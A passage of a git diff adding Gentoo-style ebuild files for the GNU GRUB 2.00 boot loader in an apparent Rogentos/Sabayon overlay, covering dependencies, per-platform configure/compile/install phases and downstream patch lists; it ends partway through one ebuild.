+		SRC_URI="mirror://gnu-alpha/${PN}/${MY_P}.tar.xz"
+	else
+		SRC_URI="mirror://gnu/${PN}/${MY_P}.tar.xz
+		mirror://gentoo/${MY_P}.tar.xz"
+	fi
+	KEYWORDS="~amd64 ~x86"
+	S=${WORKDIR}/${MY_P}
+	DO_AUTORECONF="true"
+fi
+
+inherit eutils flag-o-matic multiprocessing pax-utils toolchain-funcs ${DO_AUTORECONF:+autotools} ${LIVE_ECLASS}
+unset LIVE_ECLASS
+
+DESCRIPTION="GNU GRUB boot loader"
+HOMEPAGE="http://www.gnu.org/software/grub/"
+
+LICENSE="GPL-3"
+SLOT="2"
+IUSE="custom-cflags debug device-mapper doc efiemu mount nls static sdl truetype libzfs"
+
+GRUB_PLATFORMS=(
+	# everywhere:
+	emu
+	# mips only:
+	qemu-mips yeeloong
+	# amd64, x86, ppc, ppc64:
+	ieee1275
+	# amd64, x86:
+	coreboot multiboot efi-32 pc qemu
+	# amd64, ia64:
+	efi-64
+)
+IUSE+=" ${GRUB_PLATFORMS[@]/#/grub_platforms_}"
+
+REQUIRED_USE="grub_platforms_qemu? ( truetype )"
+
+# os-prober: Used on runtime to detect other OSes
+# xorriso (dev-libs/libisoburn): Used on runtime for mkrescue
+# sbsigntool is Sabayon and Rogentos specific
+RDEPEND="
+	app-crypt/sbsigntool
+	x11-themes/rogentos-artwork-grub
+	app-arch/xz-utils
+	>=sys-libs/ncurses-5.2-r5
+	debug? (
+		sdl? ( media-libs/libsdl )
+	)
+	device-mapper? ( >=sys-fs/lvm2-2.02.45 )
+	libzfs? ( sys-fs/zfs )
+	mount? ( sys-fs/fuse )
+	truetype? (
+		media-libs/freetype
+		media-fonts/dejavu
+		>=media-fonts/unifont-5
+	)
+	ppc? ( sys-apps/ibm-powerpc-utils sys-apps/powerpc-utils )
+	ppc64? ( sys-apps/ibm-powerpc-utils sys-apps/powerpc-utils )
+"
+DEPEND="${RDEPEND}
+	>=dev-lang/python-2.5.2
+	sys-devel/flex
+	sys-devel/bison
+	sys-apps/help2man
+	sys-apps/texinfo
+	static? (
+		truetype? (
+			app-arch/bzip2[static-libs(+)]
+			media-libs/freetype[static-libs(+)]
+			sys-libs/zlib[static-libs(+)]
+		)
+	)
+"
+RDEPEND+="
+	grub_platforms_efi-32? ( sys-boot/efibootmgr )
+	grub_platforms_efi-64? ( app-crypt/shim-signed sys-boot/efibootmgr )
+"
+if [[ -n ${DO_AUTORECONF} ]] ; then
+	DEPEND+=" >=sys-devel/autogen-5.10"
+else
+	DEPEND+=" app-arch/xz-utils"
+fi
+
+export STRIP_MASK="*/grub/*/*.{mod,img}"
+
+QA_EXECSTACK="
+	usr/bin/grub*
+	usr/sbin/grub*
+	usr/lib*/grub/*/*.mod
+	usr/lib*/grub/*/kernel.exec
+	usr/lib*/grub/*/kernel.img
+	usr/lib*/grub/*/setjmp.module
+"
+
+QA_WX_LOAD="
+	usr/lib*/grub/*/kernel.exec
+	usr/lib*/grub/*/kernel.img
+	usr/lib*/grub/*/*.image
+"
+
+QA_PRESTRIPPED="
+	usr/lib.*/grub/.*/kernel.img
+"
+
+grub_run_phase() {
+	local phase=$1
+	local platform=$2
+	[[ -z ${phase} || -z ${platform} ]] && die "${FUNCNAME} [phase] [platform]"
+
+	[[ -d "${WORKDIR}/build-${platform}" ]] || \
+		{ mkdir "${WORKDIR}/build-${platform}" || die ; }
+	pushd "${WORKDIR}/build-${platform}" > /dev/null || die
+
+	echo ">>> Running ${phase} for platform \"${platform}\""
+	echo ">>> Working in: \"${WORKDIR}/build-${platform}\""
+
+	grub_${phase} ${platform}
+
+	popd > /dev/null || die
+}
+
+grub_src_configure() {
+	local platform=$1
+	local with_platform=
+	local enable_efiemu="--disable-efiemu"
+
+	[[ -z ${platform} ]] && die "${FUNCNAME} [platform]"
+
+	# Used below for efi cross-building
+	tc-export CC NM OBJCOPY STRIP
+
+	estack_push CTARGET "${CTARGET}"
+	estack_push TARGET_CC "${TARGET_CC}"
+	estack_push TARGET_CFLAGS "${TARGET_CFLAGS}"
+	estack_push TARGET_CPPFLAGS "${TARGET_CPPFLAGS}"
+
+	case ${platform} in
+		efi-32)
+			if [[ ${CHOST} == x86_64* ]]; then
+				CTARGET="${CTARGET:-i386}"
+				TARGET_CC="${TARGET_CC:-${CC}}"
+				export TARGET_CC
+			fi
+			with_platform="--with-platform=efi"
+			;;
+		efi-64)
+			if [[ ${CHOST} == i?86* ]]; then
+				CTARGET="${CTARGET:-x86_64}"
+				TARGET_CC="${TARGET_CC:-${CC}}"
+				TARGET_CFLAGS="-Os -march=x86-64 ${TARGET_CFLAGS}"
+				TARGET_CPPFLAGS="-march=x86-64 ${TARGET_CPPFLAGS}"
+				export TARGET_CC TARGET_CFLAGS TARGET_CPPFLAGS
+			fi
+			with_platform="--with-platform=efi"
+			;;
+		guessed) ;;
+		*)
+			with_platform="--with-platform=${platform}"
+			case ${CTARGET:-${CHOST}} in
+				i?86*|x86_64*)
+					enable_efiemu=$(use_enable efiemu)
+					;;
+			esac
+			;;
+	esac
+
+	# Sabayon and Rogentos: backward compatibility, do not change --with-grubdir
+	ECONF_SOURCE="${S}" \
+	econf \
+		--htmldir="${EPREFIX}/usr/share/doc/${PF}/html" \
+		--disable-werror \
+		--program-prefix= \
+		--program-transform-name="s,grub,grub2," \
+		--with-grubdir=grub \
+		${with_platform} \
+		$(use_enable debug mm-debug) \
+		$(use_enable debug grub-emu-usb) \
+		$(use_enable device-mapper) \
+		${enable_efiemu} \
+		$(use_enable mount grub-mount) \
+		$(use_enable nls) \
+		$(use_enable truetype grub-mkfont) \
+		$(use_enable libzfs) \
+		$(use sdl && use_enable debug grub-emu-sdl)
+
+	estack_pop CTARGET CTARGET || die
+	estack_pop TARGET_CC TARGET_CC || die
+	estack_pop TARGET_CFLAGS TARGET_CFLAGS || die
+	estack_pop TARGET_CPPFLAGS TARGET_CPPFLAGS || die
+}
+
+grub_src_compile() {
+	default_src_compile
+	pax-mark -mpes "${grub_binaries[@]}"
+}
+
+grub_build_docs() {
+	emake -C docs html
+}
+
+grub_src_install() {
+	default_src_install
+}
+
+grub_install_docs() {
+	emake -C docs DESTDIR="${D}" install-html
+}
+
+src_prepare() {
+
+	# Sabayon crufty patchset
+	epatch "${FILESDIR}"/${PN}-1.99-genkernel.patch #256335
+	epatch "${FILESDIR}"/${PN}-1.99-vga-deprecated.patch
+	# vga= not yet deprecated for us
+	epatch "${FILESDIR}"/${PN}-2.00-vga-deprecated-not-yet.patch
+	epatch "${FILESDIR}"/${PN}-1.99-disable-floppies.patch
+	# Genkernel doesn't support "single" for rescue mode
+	# but rather init_opts=single
+	epatch "${FILESDIR}"/${PN}-2.00-genkernel-initramfs-single.patch
+	# Down with SecureBoot
+	epatch "${FILESDIR}"/${PN}-2.00-secureboot-user-sign-2.patch
+
+	if [[ ${PV} != 9999 ]]; then
+		epatch "${FILESDIR}/${P}-parallel-make.patch" #424231
+		epatch "${FILESDIR}/${P}-no-gets.patch" #424703
+		epatch "${FILESDIR}/${P}-config-quoting.patch" #426364
+		epatch "${FILESDIR}/${P}-tftp-endian.patch" # 438612
+		epatch "${FILESDIR}/${P}-hardcoded-awk.patch" #424137
+		epatch "${FILESDIR}/${P}-freebsd.patch" #442050
+		epatch "${FILESDIR}/${P}-compression.patch" #424527
+		epatch "${FILESDIR}/${P}-zfs-feature-flag-support.patch" #455358
+		epatch "${FILESDIR}/${P}-20_linux_xen.patch" #463992
+	fi
+
+	# fix texinfo file name, bug 416035
+	sed -i \
+		-e 's/^\* GRUB:/* GRUB2:/' \
+		-e 's/(grub)/(grub2)/' -- \
+		"${S}"/docs/grub.texi
+
+	epatch_user
+
+	# autogen.sh does more than just run autotools
+	if [[ -n ${DO_AUTORECONF} ]] ; then
+		sed -i -e '/^autoreconf/s:^:set +e; e:' autogen.sh || die
+		(
+			autopoint() { :; }
+			. ./autogen.sh
+		) || die
+	fi
+
+	# install into the right dir for eselect #372735
+	sed -i \
+		-e '/^bashcompletiondir =/s:=.*:= $(datarootdir)/bash-completion:' \
+		util/bash-completion.d/Makefile.in || die
+
+	# get enabled platforms
+	GRUB_ENABLED_PLATFORMS=""
+	local i
+	for i in ${GRUB_PLATFORMS[@]}; do
+		use grub_platforms_${i} && GRUB_ENABLED_PLATFORMS+=" ${i}"
+	done
+	[[ -z ${GRUB_ENABLED_PLATFORMS} ]] && GRUB_ENABLED_PLATFORMS="guessed"
+	einfo "Going to build following platforms: ${GRUB_ENABLED_PLATFORMS}"
+}
+
+src_configure() {
+	local i
+
+	use custom-cflags || unset CCASFLAGS CFLAGS CPPFLAGS LDFLAGS
+	use static && append-ldflags -static
+
+	# Sandbox bug 404013.
+	use libzfs && addpredict /etc/dfs:/dev/zfs
+
+	multijob_init
+	for i in ${GRUB_ENABLED_PLATFORMS}; do
+		multijob_child_init grub_run_phase ${FUNCNAME} ${i}
+	done
+	multijob_finish || die
+}
+
+src_compile() {
+	# Used for pax marking in grub_src_compile
+	local grub_binaries=(
+		grub-editenv
+		grub-fstest
+		grub-menulst2cfg
+		grub-mkimage
+		grub-mklayout
+		grub-mkpasswd-pbkdf2
+		grub-mkrelpath
+		grub-script-check
+		grub-bios-setup
+		grub-ofpathname
+		grub-probe
+		grub-sparc64-setup
+	)
+	use mount && grub_binaries+=( grub-mount )
+	use truetype && grub_binaries+=( grub-mkfont )
+
+	local i
+
+	for i in ${GRUB_ENABLED_PLATFORMS}; do
+		grub_run_phase ${FUNCNAME} ${i}
+	done
+
+	# Just build docs once
+	use doc && grub_run_phase build_docs ${i}
+}
+
+src_install() {
+	local i
+
+	for i in ${GRUB_ENABLED_PLATFORMS}; do
+		grub_run_phase ${FUNCNAME} ${i}
+	done
+
+	use doc && grub_run_phase install_docs ${i}
+
+	mv "${ED}"usr/share/info/grub{,2}.info || die
+
+	# can't be in docs array as we use default_src_install in different builddir
+	dodoc AUTHORS ChangeLog NEWS README THANKS TODO
+
+	# Install fonts setup hook
+	exeinto /etc/grub.d
+	doexe "${FILESDIR}/00_fonts"
+
+	# TODO: still needed?
+	cat <<-EOF >> "${ED}"/lib*/grub/grub-mkconfig_lib
+	GRUB_DISTRIBUTOR="Rogentos"
+EOF
+
+	insinto /etc/default
+	newins "${FILESDIR}"/grub.default-2 grub
+
+	# Backward compatibility with Grub 1.99 executables
+	dosym /usr/sbin/grub2-mkconfig /sbin/grub-mkconfig
+	dosym /usr/sbin/grub2-install /sbin/grub2-install
+}
+
+pkg_postinst() {
+	# install Rogentos splash here, cannot touch boot/grub inside
+	# src_install
+	cp "${ROOT}/usr/share/grub/default-splash.png" "${ROOT}boot/grub/default-splash.png" || \
+		ewarn "cannot install default splash file!"
+
+	# display the link to guide
+	elog "For information on how to configure grub-2 please refer to the guide:"
+	elog "    http://wiki.gentoo.org/wiki/GRUB2_Quick_Start"
+	if ! has_version sys-boot/os-prober; then
+		elog "Install sys-boot/os-prober to enable detection of other operating systems using grub2-mkconfig."
+	fi
+	if ! has_version dev-libs/libisoburn; then
+		elog "Install dev-libs/libisoburn to enable creation of rescue media using grub2-mkrescue."
+	fi
+	if has_version sys-boot/grub:0; then
+		ewarn "If you want to keep GRUB Legacy (grub-0.97) installed, please run"
+		ewarn "the following to add sys-boot/grub:0 to your world file."
+		ewarn "emerge --noreplace sys-boot/grub:0"
+	fi
+}
diff --git a/sys-boot/grub/grub-2.00-r3.ebuild b/sys-boot/grub/grub-2.00-r3.ebuild
new file mode 100644
index 00000000..f8bdb181
--- /dev/null
+++ b/sys-boot/grub/grub-2.00-r3.ebuild
@@ -0,0 +1,376 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+if [[ ${PV} == "9999" ]] ; then
+	EBZR_REPO_URI="http://bzr.savannah.gnu.org/r/grub/trunk/grub/"
+	LIVE_ECLASS="bzr"
+	SRC_URI=""
+	DO_AUTORECONF="true"
+else
+	MY_P=${P/_/\~}
+	if [[ ${PV} == *_alpha* || ${PV} == *_beta* || ${PV} == *_rc* ]]; then
+		SRC_URI="mirror://gnu-alpha/${PN}/${MY_P}.tar.xz"
+	else
+		SRC_URI="mirror://gnu/${PN}/${MY_P}.tar.xz
+		mirror://gentoo/${MY_P}.tar.xz"
+	fi
+	KEYWORDS="~amd64 ~x86"
+	S=${WORKDIR}/${MY_P}
+	DO_AUTORECONF="true"
+fi
+
+inherit eutils flag-o-matic multiprocessing pax-utils toolchain-funcs ${DO_AUTORECONF:+autotools} ${LIVE_ECLASS}
+unset LIVE_ECLASS
+
+DESCRIPTION="GNU GRUB boot loader"
+HOMEPAGE="http://www.gnu.org/software/grub/"
+
+LICENSE="GPL-3"
+SLOT="2"
+IUSE="custom-cflags debug device-mapper doc efiemu mount nls static sdl truetype libzfs"
+
+GRUB_PLATFORMS=(
+	# everywhere:
+	emu
+	# mips only:
+	qemu-mips yeeloong
+	# amd64, x86, ppc, ppc64:
+	ieee1275
+	# amd64, x86:
+	coreboot multiboot efi-32 pc qemu
+	# amd64, ia64:
+	efi-64
+)
+IUSE+=" ${GRUB_PLATFORMS[@]/#/grub_platforms_}"
+
+REQUIRED_USE="grub_platforms_qemu? ( truetype )"
+
+# os-prober: Used on runtime to detect other OSes
+# xorriso (dev-libs/libisoburn): Used on runtime for mkrescue
+# sbsigntool is Sabayon and Rogentos specific
+RDEPEND="
+	app-crypt/sbsigntool
+	x11-themes/rogentos-artwork-grub
+	app-arch/xz-utils
+	>=sys-libs/ncurses-5.2-r5
+	debug? (
+		sdl? ( media-libs/libsdl )
+	)
+	device-mapper? ( >=sys-fs/lvm2-2.02.45 )
+	libzfs? ( sys-fs/zfs )
+	mount? ( sys-fs/fuse )
+	truetype? (
+		media-libs/freetype
+		media-fonts/dejavu
+		>=media-fonts/unifont-5
+	)
+	ppc? ( sys-apps/ibm-powerpc-utils sys-apps/powerpc-utils )
+	ppc64? ( sys-apps/ibm-powerpc-utils sys-apps/powerpc-utils )
+"
+DEPEND="${RDEPEND}
+	>=dev-lang/python-2.5.2
+	sys-devel/flex
+	sys-devel/bison
+	sys-apps/help2man
+	sys-apps/texinfo
+	static? (
+		truetype? (
+			app-arch/bzip2[static-libs(+)]
+			media-libs/freetype[static-libs(+)]
+			sys-libs/zlib[static-libs(+)]
+		)
+	)
+"
+RDEPEND+="
+	grub_platforms_efi-32? ( sys-boot/efibootmgr )
+	grub_platforms_efi-64? ( sys-boot/efibootmgr )
+"
+if [[ -n ${DO_AUTORECONF} ]] ; then
+	DEPEND+=" >=sys-devel/autogen-5.10"
+else
+	DEPEND+=" app-arch/xz-utils"
+fi
+
+export STRIP_MASK="*/grub/*/*.{mod,img}"
+
+QA_EXECSTACK="
+	usr/bin/grub*
+	usr/sbin/grub*
+	usr/lib*/grub/*/*.mod
+	usr/lib*/grub/*/kernel.exec
+	usr/lib*/grub/*/kernel.img
+	usr/lib*/grub/*/setjmp.module
+"
+
+QA_WX_LOAD="
+	usr/lib*/grub/*/kernel.exec
+	usr/lib*/grub/*/kernel.img
+	usr/lib*/grub/*/*.image
+"
+
+QA_PRESTRIPPED="
+	usr/lib.*/grub/.*/kernel.img
+"
+
+grub_run_phase() {
+	local phase=$1
+	local platform=$2
+	[[ -z ${phase} || -z ${platform} ]] && die "${FUNCNAME} [phase] [platform]"
+
+	[[ -d "${WORKDIR}/build-${platform}" ]] || \
+		{ mkdir "${WORKDIR}/build-${platform}" || die ; }
+	pushd "${WORKDIR}/build-${platform}" > /dev/null || die
+
+	echo ">>> Running ${phase} for platform \"${platform}\""
+	echo ">>> Working in: \"${WORKDIR}/build-${platform}\""
+
+	grub_${phase} ${platform}
+
+	popd > /dev/null || die
+}
+
+grub_src_configure() {
+	local platform=$1
+	local with_platform=
+	local enable_efiemu="--disable-efiemu"
+
+	[[ -z ${platform} ]] && die "${FUNCNAME} [platform]"
+
+	# Used below for efi cross-building
+	tc-export CC NM OBJCOPY STRIP
+
+	estack_push CTARGET "${CTARGET}"
+	estack_push TARGET_CC "${TARGET_CC}"
+	estack_push TARGET_CFLAGS "${TARGET_CFLAGS}"
+	estack_push TARGET_CPPFLAGS "${TARGET_CPPFLAGS}"
+
+	case ${platform} in
+		efi-32)
+			if [[ ${CHOST} == x86_64* ]]; then
+				CTARGET="${CTARGET:-i386}"
+				TARGET_CC="${TARGET_CC:-${CC}}"
+				export TARGET_CC
+			fi
+			with_platform="--with-platform=efi"
+			;;
+		efi-64)
+			if [[ ${CHOST} == i?86* ]]; then
+				CTARGET="${CTARGET:-x86_64}"
+				TARGET_CC="${TARGET_CC:-${CC}}"
+				TARGET_CFLAGS="-Os -march=x86-64 ${TARGET_CFLAGS}"
+				TARGET_CPPFLAGS="-march=x86-64 ${TARGET_CPPFLAGS}"
+				export TARGET_CC TARGET_CFLAGS TARGET_CPPFLAGS
+			fi
+			with_platform="--with-platform=efi"
+			;;
+		guessed) ;;
+		*)
+			with_platform="--with-platform=${platform}"
+			case ${CTARGET:-${CHOST}} in
+				i?86*|x86_64*)
+					enable_efiemu=$(use_enable efiemu)
+					;;
+			esac
+			;;
+	esac
+
+	# Sabayon and Rogentos: backward compatibility, do not change --with-grubdir
+	ECONF_SOURCE="${S}" \
+	econf \
+		--htmldir="${EPREFIX}/usr/share/doc/${PF}/html" \
+		--disable-werror \
+		--program-prefix= \
+		--program-transform-name="s,grub,grub2," \
+		--with-grubdir=grub \
+		${with_platform} \
+		$(use_enable debug mm-debug) \
+		$(use_enable debug grub-emu-usb) \
+		$(use_enable device-mapper) \
+		${enable_efiemu} \
+		$(use_enable mount grub-mount) \
+		$(use_enable nls) \
+		$(use_enable truetype grub-mkfont) \
+		$(use_enable libzfs) \
+		$(use sdl && use_enable debug grub-emu-sdl)
+
+	estack_pop CTARGET CTARGET || die
+	estack_pop TARGET_CC TARGET_CC || die
+	estack_pop TARGET_CFLAGS TARGET_CFLAGS || die
+	estack_pop TARGET_CPPFLAGS TARGET_CPPFLAGS || die
+}
+
+grub_src_compile() {
+	default_src_compile
+	pax-mark -mpes "${grub_binaries[@]}"
+}
+
+grub_build_docs() {
+	emake -C docs html
+}
+
+grub_src_install() {
+	default_src_install
+}
+
+grub_install_docs() {
+	emake -C docs DESTDIR="${D}" install-html
+}
+
+src_prepare() {
+
+	# Sabayon crufty patchset
+	epatch "${FILESDIR}"/${PN}-1.99-genkernel.patch #256335
+	epatch "${FILESDIR}"/${PN}-1.99-vga-deprecated.patch
+	# vga= not yet deprecated for us
+	epatch "${FILESDIR}"/${PN}-2.00-vga-deprecated-not-yet.patch
+	epatch "${FILESDIR}"/${PN}-1.99-disable-floppies.patch
+	# Genkernel doesn't support "single" for rescue mode
+	# but rather init_opts=single
+	epatch "${FILESDIR}"/${PN}-2.00-genkernel-initramfs-single.patch
+	# Down with SecureBoot
+	epatch "${FILESDIR}"/${PN}-2.00-secureboot-user-sign-2.patch
+
+	if [[ ${PV} != 9999 ]]; then
+		epatch "${FILESDIR}/${P}-parallel-make.patch" #424231
+		epatch "${FILESDIR}/${P}-no-gets.patch" #424703
+		epatch "${FILESDIR}/${P}-config-quoting.patch" #426364
+		epatch "${FILESDIR}/${P}-tftp-endian.patch" # 438612
+		epatch "${FILESDIR}/${P}-hardcoded-awk.patch" #424137
+		epatch "${FILESDIR}/${P}-freebsd.patch" #442050
+		epatch "${FILESDIR}/${P}-compression.patch" #424527
+		epatch "${FILESDIR}/${P}-zfs-feature-flag-support.patch" #455358
+		epatch "${FILESDIR}/${P}-20_linux_xen.patch" #463992
+	fi
+
+	# fix texinfo file name, bug 416035
+	sed -i \
+		-e 's/^\* GRUB:/* GRUB2:/' \
+		-e 's/(grub)/(grub2)/' -- \
+		"${S}"/docs/grub.texi
+
+	epatch_user
+
+	# autogen.sh does more than just run autotools
+	if [[ -n ${DO_AUTORECONF} ]] ; then
+		sed -i -e '/^autoreconf/s:^:set +e; e:' autogen.sh || die
+		(
+			autopoint() { :; }
+			. ./autogen.sh
+		) || die
+	fi
+
+	# install into the right dir for eselect #372735
+	sed -i \
+		-e '/^bashcompletiondir =/s:=.*:= $(datarootdir)/bash-completion:' \
+		util/bash-completion.d/Makefile.in || die
+
+	# get enabled platforms
+	GRUB_ENABLED_PLATFORMS=""
+	local i
+	for i in ${GRUB_PLATFORMS[@]}; do
+		use grub_platforms_${i} && GRUB_ENABLED_PLATFORMS+=" ${i}"
+	done
+	[[ -z ${GRUB_ENABLED_PLATFORMS} ]] && GRUB_ENABLED_PLATFORMS="guessed"
+	einfo "Going to build following platforms: ${GRUB_ENABLED_PLATFORMS}"
+}
+
+src_configure() {
+	local i
+
+	use custom-cflags || unset CCASFLAGS CFLAGS CPPFLAGS LDFLAGS
+	use static && append-ldflags -static
+
+	# Sandbox bug 404013.
+	use libzfs && addpredict /etc/dfs:/dev/zfs
+
+	multijob_init
+	for i in ${GRUB_ENABLED_PLATFORMS}; do
+		multijob_child_init grub_run_phase ${FUNCNAME} ${i}
+	done
+	multijob_finish || die
+}
+
+src_compile() {
+	# Used for pax marking in grub_src_compile
+	local grub_binaries=(
+		grub-editenv
+		grub-fstest
+		grub-menulst2cfg
+		grub-mkimage
+		grub-mklayout
+		grub-mkpasswd-pbkdf2
+		grub-mkrelpath
+		grub-script-check
+		grub-bios-setup
+		grub-ofpathname
+		grub-probe
+		grub-sparc64-setup
+	)
+	use mount && grub_binaries+=( grub-mount )
+	use truetype && grub_binaries+=( grub-mkfont )
+
+	local i
+
+	for i in ${GRUB_ENABLED_PLATFORMS}; do
+		grub_run_phase ${FUNCNAME} ${i}
+	done
+
+	# Just build docs once
+	use doc && grub_run_phase build_docs ${i}
+}
+
+src_install() {
+	local i
+
+	for i in ${GRUB_ENABLED_PLATFORMS}; do
+		grub_run_phase ${FUNCNAME} ${i}
+	done
+
+	use doc && grub_run_phase install_docs ${i}
+
+	mv "${ED}"usr/share/info/grub{,2}.info || die
+
+	# can't be in docs array as we use default_src_install in different builddir
+	dodoc AUTHORS ChangeLog NEWS README THANKS TODO
+
+	# Install fonts setup hook
+	exeinto /etc/grub.d
+	doexe "${FILESDIR}/00_fonts"
+
+	# TODO: still needed?
+	cat <<-EOF >> "${ED}"/lib*/grub/grub-mkconfig_lib
+	GRUB_DISTRIBUTOR="Rogentos"
+EOF
+
+	insinto /etc/default
+	newins "${FILESDIR}"/grub.default-2 grub
+
+	# Backward compatibility with Grub 1.99 executables
+	dosym /usr/sbin/grub2-mkconfig /sbin/grub-mkconfig
+	dosym /usr/sbin/grub2-install /sbin/grub2-install
+}
+
+pkg_postinst() {
+	# install Rogentos splash here, cannot touch boot/grub inside
+	# src_install
+	cp "${ROOT}/usr/share/grub/default-splash.png" "${ROOT}boot/grub/default-splash.png" || \
+		ewarn "cannot install default splash file!"
+
+	# display the link to guide
+	elog "For information on how to configure grub-2 please refer to the guide:"
+	elog "    http://wiki.gentoo.org/wiki/GRUB2_Quick_Start"
+	if ! has_version sys-boot/os-prober; then
+		elog "Install sys-boot/os-prober to enable detection of other operating systems using grub2-mkconfig."
+	fi
+	if ! has_version dev-libs/libisoburn; then
+		elog "Install dev-libs/libisoburn to enable creation of rescue media using grub2-mkrescue."
+	fi
+	if has_version sys-boot/grub:0; then
+		ewarn "If you want to keep GRUB Legacy (grub-0.97) installed, please run"
+		ewarn "the following to add sys-boot/grub:0 to your world file."
+		ewarn "emerge --noreplace sys-boot/grub:0"
+	fi
+}
diff --git a/sys-boot/grub/grub-2.00-r4.ebuild b/sys-boot/grub/grub-2.00-r4.ebuild
new file mode 100644
index 00000000..4e2a9e67
--- /dev/null
+++ b/sys-boot/grub/grub-2.00-r4.ebuild
@@ -0,0 +1,286 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+AUTOTOOLS_AUTO_DEPEND=yes
+
+inherit autotools-utils bash-completion-r1 eutils flag-o-matic multibuild pax-utils toolchain-funcs
+
+if [[ ${PV} != 9999 ]]; then
+	MY_P=${P/_/\~}
+	if [[ ${PV} == *_alpha* || ${PV} == *_beta* || ${PV} == *_rc* ]]; then
+		SRC_URI="mirror://gnu-alpha/${PN}/${MY_P}.tar.xz"
+	else
+		SRC_URI="mirror://gnu/${PN}/${MY_P}.tar.xz
+			mirror://gentoo/${MY_P}.tar.xz"
+	fi
+	KEYWORDS="~amd64 ~x86"
+	S=${WORKDIR}/${MY_P}
+	PATCHES=(
+		"${FILESDIR}"/${PN}-1.99-vga-deprecated.patch
+		# vga= not yet deprecated for us
+		"${FILESDIR}"/${PN}-2.00-vga-deprecated-not-yet.patch
+		"${FILESDIR}"/${PN}-1.99-disable-floppies.patch
+		# Genkernel doesn't support "single" for rescue mode
+		# but rather init_opts=single
+		"${FILESDIR}"/${PN}-2.00-genkernel-initramfs-single.patch
+		# Down with SecureBoot
+		"${FILESDIR}"/${PN}-2.00-secureboot-user-sign-2.patch
+
+		"${FILESDIR}/${P}-parallel-make.patch" #424231
+		"${FILESDIR}/${P}-no-gets.patch" #424703
+		"${FILESDIR}/${P}-config-quoting.patch" #426364
+		"${FILESDIR}/${P}-tftp-endian.patch" # 438612
+		"${FILESDIR}/${P}-hardcoded-awk.patch" #424137
+		"${FILESDIR}/${P}-freebsd.patch" #442050
+		"${FILESDIR}/${P}-compression.patch" #424527
+		"${FILESDIR}/${P}-zfs-feature-flag-support-r1.patch" #455358
+		"${FILESDIR}/${P}-20_linux_xen.patch" #463992
+		"${FILESDIR}/${P}-dmraid.patch" #430748
+		"${FILESDIR}/${P}-texinfo.patch"
+		"${FILESDIR}/${P}-os-prober-efi-system.patch" #477314
+	)
+else
+	inherit bzr
+	EBZR_REPO_URI="http://bzr.savannah.gnu.org/r/grub/trunk/grub/"
+fi
+
+DESCRIPTION="GNU GRUB boot loader"
+HOMEPAGE="http://www.gnu.org/software/grub/"
+
+LICENSE="GPL-3"
+SLOT="2"
+IUSE="custom-cflags debug device-mapper doc efiemu mount +multislot nls static sdl test truetype libzfs"
+
+GRUB_ALL_PLATFORMS=(
+	# everywhere:
+	emu
+	# mips only:
+	qemu-mips yeeloong
+	# amd64, x86, ppc, ppc64:
+	ieee1275
+	# amd64, x86:
+	coreboot multiboot efi-32 pc qemu
+	# amd64, ia64:
+	efi-64
+)
+IUSE+=" ${GRUB_ALL_PLATFORMS[@]/#/grub_platforms_}"
+
+REQUIRED_USE="grub_platforms_qemu? ( truetype )
+	grub_platforms_yeeloong? ( truetype )"
+
+# os-prober: Used on runtime to detect other OSes
+# xorriso (dev-libs/libisoburn): Used on runtime for mkrescue
+# sbsigntool is RogentOS specific
+RDEPEND="
+	app-crypt/sbsigntool
+	x11-themes/rogentos-artwork-grub
+	app-arch/xz-utils
+	>=sys-libs/ncurses-5.2-r5
+	debug? (
+		sdl? ( media-libs/libsdl )
+	)
+	device-mapper? ( >=sys-fs/lvm2-2.02.45 )
+	libzfs? ( sys-fs/zfs )
+	mount? ( sys-fs/fuse )
+	truetype? (
+		media-libs/freetype
+		media-fonts/dejavu
+		>=media-fonts/unifont-5
+	)
+	ppc? ( sys-apps/ibm-powerpc-utils sys-apps/powerpc-utils )
+	ppc64? ( sys-apps/ibm-powerpc-utils sys-apps/powerpc-utils )
+"
+DEPEND="${RDEPEND}
+	app-misc/pax-utils
+	>=dev-lang/python-2.5.2
+	sys-devel/flex
+	sys-devel/bison
+	sys-apps/help2man
+	sys-apps/texinfo
+	>=sys-devel/autogen-5.10
+	static? (
+		truetype? (
+			app-arch/bzip2[static-libs(+)]
+			media-libs/freetype[static-libs(+)]
+			sys-libs/zlib[static-libs(+)]
+		)
+	)
+	test? (
+		dev-libs/libisoburn
+		app-emulation/qemu
+	)
+"
+RDEPEND+="
+	kernel_linux? (
+		grub_platforms_efi-32? ( sys-boot/efibootmgr )
+		grub_platforms_efi-64? ( sys-boot/efibootmgr )
+	)
+	!multislot? ( !sys-boot/grub:0 )
+"
+
+STRIP_MASK="*/grub/*/*.{mod,img}"
+RESTRICT="test"
+
+QA_EXECSTACK="
+	usr/bin/grub*
+	usr/sbin/grub*
+	usr/lib*/grub/*/*.mod
+	usr/lib*/grub/*/*.module
+	usr/lib*/grub/*/kernel.exec
+	usr/lib*/grub/*/kernel.img
+"
+
+QA_WX_LOAD="
+	usr/lib*/grub/*/kernel.exec
+	usr/lib*/grub/*/kernel.img
+	usr/lib*/grub/*/*.image
+"
+
+QA_PRESTRIPPED="
+	usr/lib.*/grub/.*/kernel.img
+"
+
+pkg_pretend() {
+	if [[ ${MERGE_TYPE} != binary ]]; then
+		# Bug 439082
+		if $(tc-getLD) --version | grep -q "GNU gold"; then
+			eerror "GRUB does not function correctly when built with the gold linker."
+			eerror "Please select the bfd linker with binutils-config."
+			die "GNU gold detected"
+		fi
+	fi
+}
+
+src_prepare() {
+	[[ ${PATCHES} ]] && epatch "${PATCHES[@]}"
+	sed -i -e /autoreconf/d autogen.sh || die
+	if use multislot; then
+		# fix texinfo file name, bug 416035
+		sed -i -e 's/^\* GRUB:/* GRUB2:/' -e 's/(grub)/(grub2)/' docs/grub.texi || die
+	fi
+	epatch_user
+	bash autogen.sh || die
+	autopoint() { return 0; }
+	eautoreconf
+}
+
+grub_configure() {
+	local platform
+
+	case ${MULTIBUILD_VARIANT} in
+		efi-32)
+			platform=efi
+			if [[ ${CTARGET:-${CHOST}} == x86_64* ]]; then
+				local CTARGET=${CTARGET:-i386}
+			fi ;;
+		efi-64)
+			platform=efi
+			if [[ ${CTARGET:-${CHOST}} == i?86* ]]; then
+				local CTARGET=${CTARGET:-x86_64}
+				local TARGET_CFLAGS="-Os -march=x86-64 ${TARGET_CFLAGS}"
